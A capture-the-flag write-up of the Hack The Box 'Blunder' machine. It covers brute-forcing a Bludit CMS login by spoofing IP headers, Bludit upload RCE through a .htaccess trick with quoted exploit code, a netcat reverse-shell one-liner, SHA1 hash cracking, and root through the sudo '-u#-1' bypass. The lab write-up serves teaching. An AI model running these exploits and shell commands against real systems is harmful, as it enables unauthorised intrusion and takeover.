This is a box with a very unrealistic entry means. But beyond that priv esc was quite tricky, most notably because there are at least three (!) rabbit holes, and this really teaches you how to recognise and avoid sinking time into those.
Also I recognise that people who come across HTB writeups might not want to spoil themselves completely so I’ll relegate lessons learned to the end.
Enumeration
We have two ports here, 21 and 80. Not even 22 is open and 21 curiously is marked as closed rather than filtered.
FTP
We can confirm that FTP is closed but not much else.
root@kali:~/CTF/HTB/Blunder# ftp -p 10.10.10.191 ftp: connect: Connection refused ftp>
Web 80
This loads what appears to be a blog.
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/b16ca431e09d46b8a8ccedce3c64f291.png?w=1024)
nikto returned a lot of false positives which I confirmed only after some testing. Nothing else to do here so I ran gobuster after abandoning dirbuster for being too slow. Still this took 3 hours.
root@kali:~/CTF/HTB/Blunder# gobuster dir -u http://10.10.10.191 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 180 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.191 [+] Threads: 180 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: conf,bak,sh,pl,cgi,php,txt,html [+] Timeout: 40s =============================================================== 2020/11/29 14:12:55 Starting gobuster =============================================================== /about (Status: 200) /0 (Status: 200) /admin (Status: 301) /install.php (Status: 200) /robots.txt (Status: 200) /usb (Status: 200) /todo.txt (Status: 200) [ERROR] 2020/11/29 14:37:44 [!] Get http://10.10.10.191/bylines.sh: net/http: re quest canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 14:38:42 [!] Get http://10.10.10.191/images_v4.php: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 15:22:30 [!] Get http://10.10.10.191/contact_0.sh: net/http: request canceled (Client.Timeout exceeded while awaiting headers) /server-status (Status: 403) [ERROR] 2020/11/29 15:27:43 [!] Get http://10.10.10.191/informations.pl: net/htt p: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 15:30:55 [!] Get http://10.10.10.191/chooseapub.cgi: net/http : request canceled (Client.Timeout exceeded while awaiting headers) /%3frid%3d2671 (Status: 200) /%3frid%3d2671.sh (Status: 200) /%3frid%3d2671.pl (Status: 200) /%3frid%3d2671.cgi (Status: 200) /%3frid%3d2671.php (Status: 200) /%3frid%3d2671.txt (Status: 200) /%3frid%3d2671.html (Status: 200) /%3frid%3d2671.conf (Status: 200) /%3frid%3d2671.bak (Status: 200) [ERROR] 2020/11/29 15:58:04 [!] Get http://10.10.10.191/45055.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:00:42 [!] Get http://10.10.10.191/zana2.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:11:09 [!] Get http://10.10.10.191/62864.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:11:41 [!] Get http://10.10.10.191/181192.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:14:05 [!] Get http://10.10.10.191/browse-b.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:14:32 [!] Get http://10.10.10.191/myfirst: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:14:41 [!] Get http://10.10.10.191/digitalfusiond.conf: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:15:51 [!] Get http://10.10.10.191/157844.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:16:40 [!] Get http://10.10.10.191/index_218.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:16:40 [!] Get http://10.10.10.191/index_125.cgi: net/http: request canceled (Client.Timeout exceeded while awaiting headers) [ERROR] 2020/11/29 16:16:41 [!] Get http://10.10.10.191/index_219.bak: net/http: request canceled (Client.Timeout exceeded while awaiting headers) =============================================================== 2020/11/29 17:00:02 Finished ===============================================================
robots.txt loaded this uninterestingly
User-agent: *
Allow: /
/todo.txt showed this
-Update the CMS -Turn off FTP - DONE -Remove old users - DONE -Inform fergus that the new blog needs images - PENDING
We get a username here and here it looks like the step “Update the CMS” isn’t done. This also explains why the FTP port is closed rather than filtered because it was running previously. I tried some of the Web dirs but they just led to the blog entries, which appeared to be lorem ipsum.
/admin was more interesting and loaded a login page with the Bludit CMS logo.
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/0b651fb2c95941c3abf9da585ff98762.png?w=383)
I tried some default creds including the username fergus
- fergus/fergus
- admin/fergus
- admin/admin
None worked. Googled online for default creds and found this:
You can find your details by opening /bl-content/databases/users.php in a text editor.
Your username will most likely be admin
So I went to /bl-content
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/195355958a634fdcb8d32c1b391a0843.png?w=488)
and then http://10.10.10.191/bl-content/databases/ but this led to
Not Found
The requested URL was not found on this server.
Bludit CMS
Confident now this was Bludit I checked the repo online and tried to discover the version. /bl-kernel showed this
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/8bacc82b951f444db8849940a6144a21.png?w=1024)
but every single link led to
Bludit CMS.
But when you look at the source of one of Bludit’s many pages you see
<!DOCTYPE html>
<html>
<head>
<title>Bludit</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="noindex,nofollow">
<!-- Favicon -->
<link rel="shortcut icon" type="image/x-icon" href="/bl-kernel/img/favicon.png?version=3.9.2">
<!-- CSS -->
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/css/bootstrap.min.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css?version=3.9.2">
which suggests 3.9.2 I wasn’t so sure that was the version, but 0xdf has a more elaborate way of cross-checking with the repo that it was. I just proceeded on the assumption that it was. searchsploit had these results.
root@kali:~/CTF/HTB/Blunder# searchsploit bludit ------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------- --------------------------------- Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass | php/webapps/48746.rb Bludit - Directory Traversal Image File Upload (Metasploit) | php/remote/47699.rb Bludit 3.9.12 - Directory Traversal | php/webapps/48568.py Bludit 3.9.2 - Auth Bruteforce Bypass | php/webapps/48942.py Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit) | php/webapps/49037.rb Bludit 3.9.2 - Directory Traversal | multiple/webapps/48701.txt bludit Pages Editor 3.0.0 - Arbitrary File Upload | php/webapps/46060.txt ------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
Some exploits there are meant for 3.9.2 Some required login creds which we don’t have. So we are left with trying to bruteforce authentication (bypass?) 48942 was released months after the box went live so I ignored that. Instead I looked at its reference and saw the page by rastating who discovered the vulnerability.
Bruteforcing Bludit CMS login
We still need a password list. I was quite loathe to try rockyou.txt since I don’t think recent boxes required bruteforcing with our own passwords lists. So I Googled and came across this. The page was dated after the box release but didn’t say whether it was meant for that. It explained that rastating’s vulnerability existed because the CMS trusts some HTTP header which can easily be modified
The vulnerability is that the Bludit CMS determines the end-user IP address by trusting the X-Forwarded-For and Client-IP HTTP headers and in the documentation, Bludit has provided how the brute force protection got implemented.
The page suggested creating a wordlist by using cewl
and using that as the password list.
The POC in rastating generates a wordlist and then brute-force the application, but here I have created a wordlist using “CeWL” which spiders the given URL and modified the POC to pass the wordlists created.
I thought that was quite ridiculous but having no other options I tried this. Generate the wordlist based on the blog’s content.
root@kali:~/CTF/HTB/Blunder# cewl -w wordlist.txt -d 10 -m 1 http://10.10.10.191 CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/) root@kali:~/CTF/HTB/Blunder# wc -l wordlist.txt 374 wordlist.txt
This gives us a list of 374 passwords (1 per line). I modified rastating’s script, specifically these lines
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
#wordlist = []
'''
# Generate 50 incorrect passwords
for i in range(50):
wordlist.append('Password{i}'.format(i = i))
# Add the correct password to the end of the list
wordlist.append('adminadmin')
'''
# Read passwords from file
with open("wordlist.txt") as file:
wordlist = [line.rstrip() for line in file]
Note I block-commented out wordlist generation since we already have it and instead have it read from our file. Then I ran the script
root@kali:~/CTF/HTB/Blunder# ./bruteforce.py [*] Trying: the [*] Trying: Load [*] Trying: Plugins [*] Trying: and [*] Trying: for [*] Trying: Include [*] Trying: Site [*] Trying: Page [*] Trying: has [*] Trying: About [*] Trying: King [*] Trying: with [*] Trying: USB [*] Trying: Begin [*] Trying: more [*] Trying: End [*] Trying: service [*] Trying: from [*] Trying: Stadia [*] Trying: Dynamic [*] Trying: tag [*] Trying: blunder [*] Trying: interesting [*] Trying: facts [*] Trying: CSS [*] Trying: this [*] Trying: Body [*] Trying: devices [*] Trying: been [*] Trying: Google [*] Trying: games [*] Trying: Post [*] Trying: Cover [*] Trying: image [*] Trying: Title [*] Trying: content [*] Trying: created [*] Trying: pages [*] Trying: Creation [*] Trying: date [*] Trying: November [*] Trying: Reading [*] Trying: time [*] Trying: minute [*] Trying: books [*] Trying: have [*] Trying: Awards [*] Trying: Fantasy [*] Trying: National [*] Trying: The [*] Trying: his [*] Trying: was [*] Trying: players [*] Trying: allows [*] Trying: stream [*] Trying: site [*] Trying: title [*] Trying: description [*] Trying: Favicon [*] Trying: Bootstrap [*] Trying: file [*] Trying: bootstrap [*] Trying: css [*] Trying: Styles [*] Trying: theme [*] Trying: head [*] Trying: Robots [*] Trying: plugin [*] Trying: Navbar [*] Trying: Static [*] Trying: Social [*] Trying: Networks [*] Trying: Content [*] Trying: Blog [*] Trying: Posts [*] Trying: Stephen [*] Trying: such [*] Trying: Right [*] Trying: Sidebar [*] Trying: dump [*] Trying: fact [*] Trying: files [*] Trying: nothing [*] Trying: Footer [*] Trying: Copyright [*] Trying: Powered [*] Trying: byEgotisticalSW [*] Trying: Javascript [*] Trying: American [*] Trying: fiction [*] Trying: novels [*] Trying: than [*] Trying: which [*] Trying: feature [*] Trying: series [*] Trying: published [*] Trying: received [*] Trying: World [*] Trying: awarded [*] Trying: Medal [*] Trying: also [*] Trying: literature [*] Trying: Award [*] Trying: Arts [*] Trying: high [*] Trying: range [*] Trying: via [*] Trying: data [*] Trying: centers [*] Trying: through [*] Trying: smartphones [*] Trying: tablets [*] Trying: state [*] Trying: This [*] Trying: used [*] Trying: that [*] Trying: users [*] Trying: library [*] Trying: free [*] Trying: their [*] Trying: other [*] Trying: Full [*] Trying: Breaked [*] Trying: name [*] Trying: most [*] Trying: Read [*] Trying: button [*] Trying: are [*] Trying: Edwin [*] Trying: born [*] Trying: September [*] Trying: author [*] Trying: horror [*] Trying: supernatural [*] Trying: suspense [*] Trying: fantasy [*] Trying: His [*] Trying: sold [*] Trying: million [*] Trying: copies [*] Trying: many [*] Trying: adapted [*] Trying: into [*] Trying: films [*] Trying: miniseries [*] Trying: television [*] Trying: comic [*] Trying: including [*] Trying: seven [*] Trying: under [*] Trying: pen [*] Trying: Richard [*] Trying: Bachman [*] Trying: six [*] Trying: non [*] Trying: written [*] Trying: approximately [*] Trying: short [*] Trying: stories [*] Trying: book [*] Trying: collections [*] Trying: Bram [*] Trying: Stoker [*] Trying: British [*] Trying: Society [*] Trying: Book [*] Trying: Foundation [*] Trying: him [*] Trying: Distinguished [*] Trying: Contribution [*] Trying: Letters [*] Trying: probably [*] Trying: best [*] Trying: fictional [*] Trying: character [*] Trying: RolandDeschain SUCCESS: Password found! Use fergus:RolandDeschain to login.
I was surprised when it worked. That was more hail mary than anything else. It was pretty unrealistic though. I tested the login and it worked.
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/f6687abbe6ad43f29a8e8f37660fb0b4.png?w=598)
Bludit RCE
We can try 48701 but I hesitated because it was released nearly 2 months after box went live. Instead I looked at the CVE and searched Github and managed to find this from 5 Jun, which is just 5 days after the box release date. Let’s try to ping ourselves with this.
root@kali:~/CTF/HTB/Blunder# ./CVE-2019-16113.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'ping -c 4 10.10.14.78' ╔╗ ┬ ┬ ┬┌┬┐┬┌┬┐ ╔═╗╦ ╦╔╗╔ ╠╩╗│ │ │ │││ │ ╠═╝║║║║║║ ╚═╝┴─┘└─┘─┴┘┴ ┴ ╩ ╚╩╝╝╚╝ CVE-2019-16113 CyberVaca [+] csrf_token: 8823f1f91d2de39e42b56e9926cc6724e21baeae [+] cookie: ck7phle5vdcsj6nnbasduheq92 [+] csrf_token: d1069abfa0cea4db94412a77b52a07ae494b472e [+] Uploading qivjhtsa.jpg [+] Executing command: ping -c 4 10.10.14.78 [+] Delete: .htaccess [+] Delete: qivjhtsa.jpg
and we get pingbacks.
root@kali:~/CTF/HTB/Blunder# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 17:55:33.855599 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 1, length 64 17:55:33.855613 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 1, length 64 17:55:34.857273 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 2, length 64 17:55:34.857297 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 2, length 64 17:55:35.859154 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 3, length 64 17:55:35.859167 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 3, length 64 17:55:36.860608 IP 10.10.10.191 > 10.10.14.78: ICMP echo request, id 4496, seq 4, length 64 17:55:36.860633 IP 10.10.14.78 > 10.10.10.191: ICMP echo reply, id 4496, seq 4, length 64
Now why exactly does this work? I searched for write up for how it worked but the earliest version of the exploit came from Metasploit and the reference linked this. What seemed to be happening was that a PHP shell exec was uploaded as a .jpg file which by itself is harmless since the Web server won’t execute files with image extensions even if are secretly PHP code.
What could change this is .htaccess. In a nutshell, .htaccess tells the browser and more importantly the server how to handle each file’s extension. Here’s how a user was advised to change his .htaccess to make all the .html files execute as .php files. In the exploit there’s this function which uploads a new .htaccess file telling the server to treat .jpg files as PHP code.
def subida_htaccess(url,la_cookie,token_logado):
session = requests.Session()
paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado}
paramsMultipart = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .jpg", 'application/octet-stream'))]
headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
cookies = {"BLUDIT-KEY":la_cookie}
response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)
So to sum up, there are two vulnerabilities here, one the Bludit CMS doesn’t sanitise uploaded image files as code, and secondly it allows the user to replace .htaccess and traverse the directory to upload these files to /tmp (a Web dir) where the uploaded .htaccess file which treats .jpg files as PHP files holds sway. But interestingly if you see the issue in the repo a user claims that
its too late but you dont even need to upload .htaccess or jpg
you can upload php file into server and may get some error that you cant upload such format but btw it will be upload to server and you can use that php file
As I didn’t investigate this I can’t comment.
RCE to shell
To go from RCE to shell we can use the OpenBSD netcat reverse shell
root@kali:~/CTF/HTB/Blunder# ./CVE-2019-16113.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f' ╔╗ ┬ ┬ ┬┌┬┐┬┌┬┐ ╔═╗╦ ╦╔╗╔ ╠╩╗│ │ │ │││ │ ╠═╝║║║║║║ ╚═╝┴─┘└─┘─┴┘┴ ┴ ╩ ╚╩╝╝╚╝ CVE-2019-16113 CyberVaca [+] csrf_token: 824085cd443eb2993476e02b7c08dd062f8690c8 [+] cookie: dir08itnohn44eln7u262gh470 [+] csrf_token: 528ef385890b04e9b85e5592dc3e2355641709ec [+] Uploading ohhapfse.jpg [+] Executing command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f [+] Delete: .htaccess [+] Delete: ohhapfse.jpg
and this gets a shell
root@kali:~/CTF/HTB/Blunder# nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.191] 47060 bash: cannot set terminal process group (1075): Inappropriate ioctl for device bash: no job control in this shell www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
Post-exploitation
Now this is where the fun begins because this box is full of rabbit holes on the inside. I quickly checked the Apache vhost config, but there was nothing notable there. Ran linpeas and lse.
In /home/shaun/Pictures there are two pictures:
The left looks like shaun escalating to root after switching to hugo. We’re not shaun yet so maybe the goal is to get there. The right shows a file databases and this is where understanding what Bludit really is helps. It’s a flat file CMS which means it doesn’t use SQL databases and instead stores data including user info in files. This appears to be such a file, which may contain creds.
Escalate to hugo
In /var/www there are two CMS folders, 3.9.2 and 3.10.0a, presumably the CMS which they were supposed to upgrade to. 3.9.2 has this
www-data@blunder /var/www/bludit-3.9.2/bl-content/databases $ cat users.php { "admin": { "nickname": "Admin", "firstName": "Administrator", "lastName": "", "role": "admin", "password": "bfcc887f62e36ea019e3295aafb8a3885966e265", "salt": "5dde2887e7aca", "email": "", "registered": "2019-11-27 07:40:55", "tokenRemember": "", "tokenAuth": "b380cb62057e9da47afce66b4615107d", "tokenAuthTTL": "2009-03-15 14:00", "twitter": "", "facebook": "", "instagram": "", "codepen": "", "linkedin": "", "github": "", "gitlab": "" }, "fergus": { "firstName": "", "lastName": "", "nickname": "", "description": "", "role": "author", "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7", "salt": "jqxpjfnv", "email": "", "registered": "2019-11-27 13:26:44", "tokenRemember": "", "tokenAuth": "0e8011811356c0c5bd2211cba8c50471", "tokenAuthTTL": "2009-03-15 14:00", "twitter": "", "facebook": "", "codepen": "", "instagram": "", "github": "", "gitlab": "", "linkedin": "", "mastodon": "" }
The passwords are hashed but the salt is provided however I had no idea how to crack it. But in 3.10.0a there was an unhashed one.
www-data@blunder /var/www/bludit-3.10.0a/bl-content/databases $ cat users.php { "admin": { "nickname": "Hugo", "firstName": "Hugo", "lastName": "", "role": "User", "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d", "email": "", "registered": "2019-11-27 07:40:55", "tokenRemember": "", "tokenAuth": "b380cb62057e9da47afce66b4615107d", "tokenAuthTTL": "2009-03-15 14:00", "twitter": "", "facebook": "", "instagram": "", "codepen": "", "linkedin": "", "github": "", "gitlab": ""} }
Initially I wasn’t able to crack it with john, so I took it online and it cracked easily.
![](https://ivanitlearning.wordpress.com/wp-content/uploads/2020/12/9baf87c3c01846d181a83fc137f30c8c.png?w=1024)
I found out later that while the password wasn’t in rockyou.txt, a different case variant of it was, which could be cracked by john if you specified the --rules
switch.
root@kali:~/CTF/HTB/Blunder# john --wordlist=/usr/share/wordlists/rockyou.txt --rules hugo.hash Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt" Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin" Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160" Use the "--format=ripemd-160" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160" Use the "--format=has-160" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status Password120 (hugo) 1g 0:00:00:15 DONE (2020-12-03 01:14) 0.06257g/s 1042Kp/s 1042Kc/s 1042KC/s Password125..Password1122 Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably Session completed root@kali:~/CTF/HTB/Blunder# grep -i Password120 /usr/share/wordlists/rockyou.txt password120 PASSWORD1204 password1209 password12079 password1207 password1200
With this we could switch to hugo
www-data@blunder /var/www $ su hugo Password: hugo@blunder:/var/www$
Escalate to shaun
hugo has some sudo rights, and it looks like we could run /bin/bash as any user except root.
hugo@blunder:~$ sudo -l Password: Matching Defaults entries for hugo on blunder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User hugo may run the following commands on blunder: (ALL, !root) /bin/bash hugo@blunder:~$ sudo /bin/bash Sorry, user hugo is not allowed to execute '/bin/bash' as root on blunder. hugo@blunder:~$ sudo -u shaun /bin/bash shaun@blunder:/home/hugo$
So I chose shaun here. Now this is a big mistake I didn’t realise until much later but its important to point out the rabbit holes and why they are as such. I also ran linpeas again.
Rabbit hole 1: /ftp
FTP was disabled on this box but there’s an unconventional /ftp folder in /. I enumerated it but it led nowhere even though a note.txt left there seemed particularly interesting.
www-data@blunder /ftp $ cat note.txt Hey Sophie I've left the thing you're looking for in here for you to continue my work when I leave. The other thing is the same although Ive left it elsewhere too. Its using the method we talked about; dont leave it on a post-it note this time! Thanks Shaun
Rabbit hole 2: shaun in lxd group
The user shaun belongs to the lxd group, which linpeas highlighted yellow (95% PE vector)
uid=1000(shaun) gid=1000(shaun) groups=1000(shaun),4(adm),24(cdrom),30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare)
I read here and here to understand what lxd was and how to exploit it. Apparently its some containerisation technology formerly used by docker to run Linux (and only Linux) containers on the system. Unfortunately, lxd/lxc isn’t installed making this impossible.
shaun@blunder:/home/hugo$ lxc list Command 'lxc' not found, but can be installed with: snap install lxd # version 4.1, or apt install lxd-installer # version 1 apt install lxd # version 1:0.7 See 'snap info lxd' for additional versions. shaun@blunder:/home/hugo$ lxd list Command 'lxd' not found, but can be installed with: snap install lxd # version 4.1, or apt install lxd-installer # version 1 apt install lxd # version 1:0.7 See 'snap info lxd' for additional versions. shaun@blunder:/home/hugo$ dpkg -l | grep lxd shaun@blunder:/home/hugo$ dpkg -l | grep lxc shaun@blunder /tmp $ snap info lxd error: no snap found for "lxd"
shaun is also in adm group, which means he can read most logs in /var/log. But I wasn’t able to find anything notable there.
Rabbit hole 3: poc.py
Recall from the above pics in shaun’s Pictures folder there was one where the user hugo ran a poc.py in /usr/local/sbin and became root. Unfortunately I could find no such file
shaun@blunder ~$ find / -name poc.py 2>/dev/null shaun@blunder ~$
Nor did I discover that hugo owned any files worth investigating outside of /home/hugo
www-data@blunder /home/hugo $ find / -path /proc -prune -false -o -user hugo 2>/dev/null /home/hugo /home/hugo/Templates /home/hugo/.ssh /home/hugo/Pictures /home/hugo/Videos /home/hugo/.config /home/hugo/.cache /home/hugo/.bashrc /home/hugo/.local /home/hugo/.local/share /home/hugo/.mozilla /home/hugo/.profile /home/hugo/user.txt /home/hugo/.gnupg /home/hugo/Downloads /home/hugo/.bash_logout /home/hugo/Desktop /home/hugo/Public /home/hugo/Music /home/hugo/Documents
I also saw from linpeas that we could switch to the user temp with password “temp” but that didn’t give us any special privileges.
[+] Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds Bruteforcing user root... Bruteforcing user shaun... Bruteforcing user hugo... Bruteforcing user temp... You can login as temp using password: password www-data@blunder /var/www $ su - temp Password: su: warning: cannot change directory to /home/temp: No such file or directory temp@blunder:/var/www$
pspy didn’t show any unusual activity either.
Escalate to root
linpeas had in fact highlighted this in red but I didn’t notice it at first.
[+] Sudo version [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version Sudo version 1.8.25p1
I Googled
"(ALL, !root)" -blunder
and found these two links. The second described the vulnerability as
That -u#-1 will bypass the above restriction, and run Vi as root for bob. Now bob can change any file on the system. Oops.
This happens because, say, -u#1234 can be used on the command line with Sudo to run the command, Vi in this case, as user ID 1234. This user ID value is passed to the setresuid and setreuid system calls by Sudo to change the effective user ID of the command.
Thus, -u#-1 passes -1 to those calls to change the effective ID to -1. However, these system calls treat -1 as a special case: it means do not change the user ID. And seeing as Sudo runs as root initially, -1 means continue running as root. So, in the above case, Vi runs as root. Also, amusingly, the user ID 4294967295 will bypass the restrictions because, as a signed 32-bit integer, it equals -1.
I checked searchsploit
root@kali:~/CTF/HTB/Blunder# searchsploit sudo ----------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------- --------------------------------- (Tod Miller's) Sudo/SudoEdit 1.6.9p21/1.7.2p4 - Local Privilege Escalation | multiple/local/11651.sh Apple Mac OSX - Sudo Password Bypass (Metasploit) | osx/local/27944.rb Battery Life Toolkit 1.0.9 - 'bltk_sudo' Local Privilege Escalation | linux/local/33576.txt ptrace - Sudo Token Privilege Escalation (Metasploit) | linux/local/47345.rb RedStar 3.0 Desktop - Enable sudo Privilege Escalation | linux/local/35746.sh Sudo 1.3.1 < 1.6.8p (OpenBSD) - Pathname Validation Privilege Escalation | bsd/local/1087.c Sudo 1.5/1.6 - Heap Corruption | linux/local/20901.c Sudo 1.6.3 - Unclean Environment Variable Privilege Escalation | linux/local/21227.sh Sudo 1.6.8 - Information Disclosure | linux/local/24606.c Sudo 1.6.8p9 - SHELLOPTS/PS4 Environment Variables Privilege Escalation | linux/local/1310.txt Sudo 1.6.9p18 - 'Defaults SetEnv' Local Privilege Escalation | multiple/local/7129.sh Sudo 1.6.x - Environment Variable Handling Security Bypass (1) | linux/local/27056.pl Sudo 1.6.x - Environment Variable Handling Security Bypass (2) | linux/local/27057.py Sudo 1.6.x - Password Prompt Heap Overflow | linux/local/21420.c sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation | linux/local/25134.c sudo 1.8.0 < 1.8.3p1 - Format String | linux/dos/18436.txt Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation | linux/local/37710.txt Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation | linux/local/42183.c Sudo 1.8.25p - 'pwfeedback' Buffer Overflow | linux/local/48052.sh Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC) | linux/dos/47995.txt sudo 1.8.27 - Security Bypass | linux/local/47502.py Sudo Perl 1.6.x - Environment Variable Handling Security Bypass | linux/local/26498.txt sudo.bin - NLSPATH Privilege Escalation | linux/local/319.c SudoEdit 1.6.8 - Local Change Permission | linux/local/470.c ZPanel zsudo - Local Privilege Escalation (Metasploit) | linux/local/26451.rb ----------------------------------------------------------------------------------------------------------- --------------------------------- ----------------------------------------------------------------------------------------------------------- --------------------------------- Shellcode Title | Path ----------------------------------------------------------------------------------------------------------- --------------------------------- Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes) | linux_x86/43463.nasm Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access + Null-Free Shellcode (79 byte | linux_x86/44507.c Linux/x86 - Edit /etc/sudoers (ALL ALL=(ALL) NOPASSWD: ALL) For Full Access Shellcode (86 bytes) | linux_x86/13331.c ----------------------------------------------------------------------------------------------------------- --------------------------------- Papers: No Results
Of this, 47502 explains how to exploit it and that the vulnerability exists up till 1.8.27 (this is 1.8.25). Hence we can get root
hugo@blunder:~$ sudo -u#-1 /bin/bash Password: root@blunder:/home/hugo# id uid=0(root) gid=1001(hugo) groups=1001(hugo)
Lessons learned
- Understanding what .htaccess is and how it works.
- Using the
--rules
switch injohn
to bruteforce case variants of passwords. - Detecting and avoiding priv esc rabbit holes